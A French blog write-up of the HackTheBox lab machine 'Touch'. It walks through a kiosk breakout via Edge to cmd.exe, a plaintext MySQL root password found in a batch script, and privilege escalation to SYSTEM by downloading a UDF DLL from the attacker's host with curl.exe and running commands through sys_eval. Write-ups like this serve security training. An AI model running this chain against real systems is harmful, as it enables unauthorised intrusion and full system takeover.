← Retour à HackTheBox

HackTheBox | Touch

8 novembre 2026•12 min•Facile

HackTheBox | Touch

Touch se déroule sur une borne d'enregistrement HTB Airways. Je commence par son portail de gestion, où je récupère un compte Windows pour me connecter en RDP. La session s'ouvre sur le kiosque, il me reste à trouver comment lancer un terminal.

Pour la privesc, je passe par MySQL. Le service tourne sous LocalSystem et son mot de passe root traîne dans un script de maintenance. Une UDF me permet ensuite d'exécuter des commandes sous NT AUTHORITY\SYSTEM.

Je me suis aidé du writeup de 0xOGH pour résoudre la machine.

Reconnaissance réseau

Je démarre la machine depuis Hack The Box et récupère son adresse IP, 10.129.200.0. Une fois connecté au VPN HTB, je vérifie qu'elle répond au ping.

Présentation de la machine Touch sur Hack The Box

ping -c 5 10.129.200.0

Vérification de la connectivité réseau

Pour info : un TTL proche de 128 est généralement associé aux systèmes Windows. Sa valeur diminue à chaque routeur traversé, ce qui explique une valeur de 127. Les 64 bytes indiquent la taille de la réponse ICMP reçue.

Je scanne ensuite les ports TCP avec Nmap.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --max-retries 1 -T4 --open -v 10.129.200.0

Première phase du scan Nmap

Le scan révèle notamment les ports 135, 3389, 5985 et 8443. Le port 3389 correspond à RDP, 5985 à WinRM et 8443 héberge une application web. Je relance un scan ciblé avec la détection de version et les scripts par défaut :

sudo nmap -sV -sC -n -Pn -p 135,3389,5985,8443 10.129.200.0

Informations complémentaires obtenues avec Nmap

Exploration des services web

Sur http://10.129.200.0:8443, j'arrive sur la page de connexion de Nexion DeviceHub.

Premier accès à l'application web

Je lance Gobuster sur la racine du site. Ici, -b 302,404 masque les redirections et les pages introuvables pour faire ressortir les autres réponses.

gobuster dir -u http://10.129.200.0:8443/ -w /opt/pentest/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -b 302,404

Gobuster trouve /login en 200 et /api en 403

Gobuster trouve /login en 200 et /api en 403. Je continue l'énumération sous /api pour chercher ses endpoints.

gobuster dir -u http://10.129.200.0:8443/api -w /opt/pentest/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -b 302,404

Sous /api, Gobuster trouve /status en 200 et /scan en 405

Je trouve /api/status en 200 et /api/scan en 405. Le 405 indique que /api/scan refuse la méthode GET utilisée par Gobuster. J'ouvre /api/status, qui répond sans authentification.

Réponse de /api/status avec le modèle et le numéro de série du DeviceHub

La réponse contient le numéro de série NX-DH-2024-B7042. Le code source de la page de connexion indique que le numéro de série sert de mot de passe par défaut. Je le teste et j'arrive sur le dashboard.

Tableau de bord Nexion DeviceHub

Les deux périphériques utilisent le même compte, KioskUser. Un clic sur show révèle le mot de passe. Comme le port RDP est ouvert, je teste ces identifiants pour me connecter à Windows.

Identifiants du compte KioskUser affichés dans le tableau de bord

Connexion RDP et accès à une console Windows

Je me connecte en RDP avec le compte KioskUser via FreeRDP et XQuartz sur Mac.

xfreerdp3 /v:10.129.200.0 /u:KioskUser /cert:ignore /dynamic-resolution +clipboard

Je saisis le mot de passe du dashboard et la session s'ouvre sur la borne.

Ouverture de la session RDP

L'écran occupe toute la session, je n'ai pas de bureau Windows classique. Je commence le parcours d'enregistrement avec la réservation KS7X2M et le nom Crawford, donnés sur la fiche de la machine. À l'étape du passeport, le scanner ne parvient pas à lire le document.

Échec de lecture du passeport à l'étape Documents du kiosque

Depuis le dashboard DeviceHub, j'utilise le bouton Power Off du scanner. De retour dans le kiosque, l'erreur devient une fenêtre Windows : Nexion DocReader SR-4200 has stopped responding, avec le code SCN-ERR-4092 et un lien de dépannage.

Erreur du scanner avec un lien vers le support Nexion

Le lien ouvre Edge. Dans la barre d'adresse, je saisis file:///C:/Windows/System32/cmd.exe. Je récupère cmd.exe dans les téléchargements, puis je clique sur Open file pour lancer le terminal.

Edge affiche cmd.exe dans les téléchargements de KioskUser

Je récupère le flag user dans C:\Users\KioskUser\Desktop\user.txt.

Flag user récupéré dans la session RDP

Je regarde ensuite les groupes du compte, ses privilèges et la version de Windows.

whoami /groups
whoami /priv
systeminfo

Groupes de KioskUser, dont Remote Desktop Users et Printer Administrators

KioskUser appartient à Remote Desktop Users, Users et au groupe local Printer Administrators. Le jeton est au niveau d'intégrité Medium, je n'ai pas de session administrateur.

Privilèges du jeton et informations sur Windows 11 Pro, hôte KIOSK-042

systeminfo identifie KIOSK-042, sous Windows 11 Pro, build 26100, en x64. La liste des privilèges ne contient pas SeImpersonatePrivilege. Je poursuis du côté des services et des applications installées.

Recherche d'une élévation de privilèges

Je regarde les ports en écoute et les services actifs pour repérer ce qui n'était pas accessible depuis le scan externe.

netstat -ano | findstr LISTENING
tasklist /svc

Ports en écoute sur le système Windows

netstat montre notamment 127.0.0.1:3306, avec le PID 3512. La capture de tasklist /svc identifie mysqld.exe et le service MySQL80, mais avec le PID 2400. Les PID diffèrent entre les deux captures, je ne peux donc pas les faire correspondre directement. Je vérifie la configuration de MySQL80.

Identification du processus mysqld.exe et du service MySQL80

Pour connaître son chemin et son compte d'exécution :

sc qc MySQL80

Chemin d'exécution et compte du service MySQL80

Le service lance C:\MySQL\bin\mysqld.exe avec la configuration C:\MySQL\my.ini. SERVICE_START_NAME vaut LocalSystem, les commandes exécutées par ce service auront donc les droits SYSTEM.

Reste à voir si je peux lui faire charger un fichier ou exécuter une commande avec ces droits.

Je regarde la configuration et les permissions de my.ini.

type C:\MySQL\my.ini
icacls C:\MySQL\my.ini

Configuration du serveur MySQL et écoute sur 127.0.0.1:3306

Permissions du fichier my.ini

MySQL écoute sur 127.0.0.1:3306, je peux m'y connecter depuis Windows. netstat montre aussi le port 33060 sur toutes les interfaces. Les utilisateurs authentifiés ont le droit de modification (M) sur my.ini, mais je n'ai pas besoin de le modifier pour la suite.

Connexion à la base MySQL

Le writeup indique le fichier C:\Program Files\HTB Airways\Kiosk\packages\backend\src\database\index.ts pour les identifiants du compte kiosk_app. Je les utilise avec le client MySQL local.

C:\MySQL\bin\mysql.exe -u kiosk_app -p -h 127.0.0.1 -P 3306

Connexion au serveur MySQL avec le compte applicatif

Je vérifie le compte connecté et les bases accessibles.

SELECT USER(), CURRENT_USER();
SHOW DATABASES;

Bases accessibles au compte kiosk_app

Je suis connecté en kiosk_app@localhost. La base applicative htb_airways apparaît avec les deux bases système information_schema et performance_schema.

Je liste les tables de htb_airways. On y retrouve les réservations, les passagers, les scans de documents et la table _htb_staff.

USE htb_airways;
SHOW TABLES;

Exploration des tables de la base htb_airways

Je vérifie aussi ses droits.

SHOW GRANTS;

Privilèges SQL du compte kiosk_app

ALL PRIVILEGES porte uniquement sur htb_airways.*. La ligne USAGE ON *.* n'accorde aucun privilège global supplémentaire. Je peux gérer la base applicative, mais ce compte ne suffit pas pour enregistrer l'UDF au niveau du serveur.

Identifiants administrateur dans un script de maintenance

Je quitte MySQL pour chercher des identifiants dans les scripts .bat qui appellent mysql.

findstr /S /I /M /C:"mysql" C:\*.bat

Recherche de scripts de maintenance utilisant MySQL

Je trouve C:\ProgramData\HTB Airways\refresh-dates.bat. Le même fichier ressort sous C:\Users\All Users, qui pointe vers ProgramData.

Dans le batch, le mot de passe root MySQL est écrit en clair après -p. Il sert à exécuter refresh-dates.sql.

Identifiants MySQL root présents dans le script de maintenance

Je me reconnecte en root MySQL avec ce mot de passe.

C:\MySQL\bin\mysql.exe -u root -p

Connexion au serveur MySQL avec le compte root

Vérification des privilèges et des plugins MySQL

Je vérifie les droits de root, le dossier des plugins et les restrictions sur les fichiers.

SHOW GRANTS;
SELECT user, host, File_priv FROM mysql.user WHERE user = 'root';
SHOW VARIABLES LIKE 'plugin_dir';
SHOW VARIABLES LIKE 'secure_file_priv';

File_priv vaut Y, plugin_dir pointe vers C:\MySQL\lib\plugin\ et secure_file_priv vaut NULL.

Avec secure_file_priv = NULL, je ne peux pas déposer la DLL par un export SQL. Je vais la copier depuis Windows dans le dossier des plugins.

Je vérifie les permissions de ce dossier avec icacls.

icacls "C:\MySQL\lib\plugin"

Mes notes indiquent que KioskUser peut écrire dans ce dossier. Je n'ai pas gardé la capture de cette vérification, celle de my.ini montre les droits d'un autre fichier.

Je vérifie aussi l'architecture Windows.

echo %PROCESSOR_ARCHITECTURE%

La réponse est AMD64, je prends donc la DLL 64 bits.

Vérification de l'architecture AMD64

Chargement d'une UDF MySQL

La DLL lib_mysqludf_sys_64.dll fournit l'UDF sys_eval. Une fois chargée dans MySQL, cette fonction lance une commande système et renvoie sa sortie.

Avec le compte root MySQL et l'accès en écriture au dossier des plugins, je peux charger la DLL dans le service qui tourne sous LocalSystem.

La DLL est fournie avec Metasploit. Depuis son dossier, je lance un serveur HTTP sur mon adresse VPN, 10.10.14.34.

cd /opt/pentest/tools/metasploit-framework/data/exploits/mysql
python3 -m http.server 8000 --bind 10.10.14.34

Depuis le CMD de la cible Windows, je télécharge la DLL dans le répertoire temporaire :

curl.exe -fL http://10.10.14.34:8000/lib_mysqludf_sys_64.dll -o "%TEMP%\lib_mysqludf_sys_64.dll"

Le téléchargement passe, le serveur renvoie 200 et la DLL fait 7 168 octets.

Transfert de la DLL depuis macOS vers Windows avec un serveur HTTP Python

Je copie ensuite le fichier vers le répertoire des plugins indiqué par MySQL :

copy "%TEMP%\lib_mysqludf_sys_64.dll" "C:\MySQL\lib\plugin\lib_mysqludf_sys_64.dll"

Je me reconnecte en tant que root MySQL et enregistre la fonction :

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
SELECT name, dl FROM mysql.func;

SONAME indique la DLL à charger, puis la requête sur mysql.func permet de retrouver la fonction enregistrée.

Exécution de commandes sous SYSTEM

Je lance whoami via l'UDF pour vérifier avec quels droits la commande s'exécute.

SELECT sys_eval('whoami');

MySQL affiche le résultat en hexadécimal :

0x6E7420617574686F726974795C73797374656D

Pour le lire directement dans MySQL, je convertis la sortie en texte.

SELECT CONVERT(sys_eval('whoami') USING utf8mb4);

Décodage de la sortie de sys_eval et confirmation des privilèges SYSTEM

NT AUTHORITY\SYSTEM, la privesc a fonctionné. Je récupère le flag root avec sys_eval.

SELECT CONVERT(sys_eval('type C:\\Users\\Administrator\\Desktop\\root.txt') USING utf8mb4);

Flag root récupéré via sys_eval

Validation de Touch sur Hack The Box

Conclusion

Sur Touch, le portail DeviceHub me donne les identifiants de KioskUser, puis le lien de dépannage du scanner me permet de sortir du kiosque et de lancer un terminal. À ce stade, je récupère le flag user.

Pour le flag root, tout passe par MySQL. Le mot de passe dans refresh-dates.bat me donne accès au compte root de la base. Avec l'écriture dans le dossier des plugins, je peux charger sys_eval et lancer des commandes sous SYSTEM, puisque le service tourne sous LocalSystem.

Je retiens surtout le passage du kiosque au navigateur. Même avec une interface verrouillée en plein écran, le lien de support laisse accès aux fichiers locaux et permet de lancer cmd.exe. Une fois dans Windows, les identifiants en clair et les permissions du dossier MySQL font le reste.

Voir aussi d'autres catégories...

Ces thèmes pourraient aussi t'intéresser.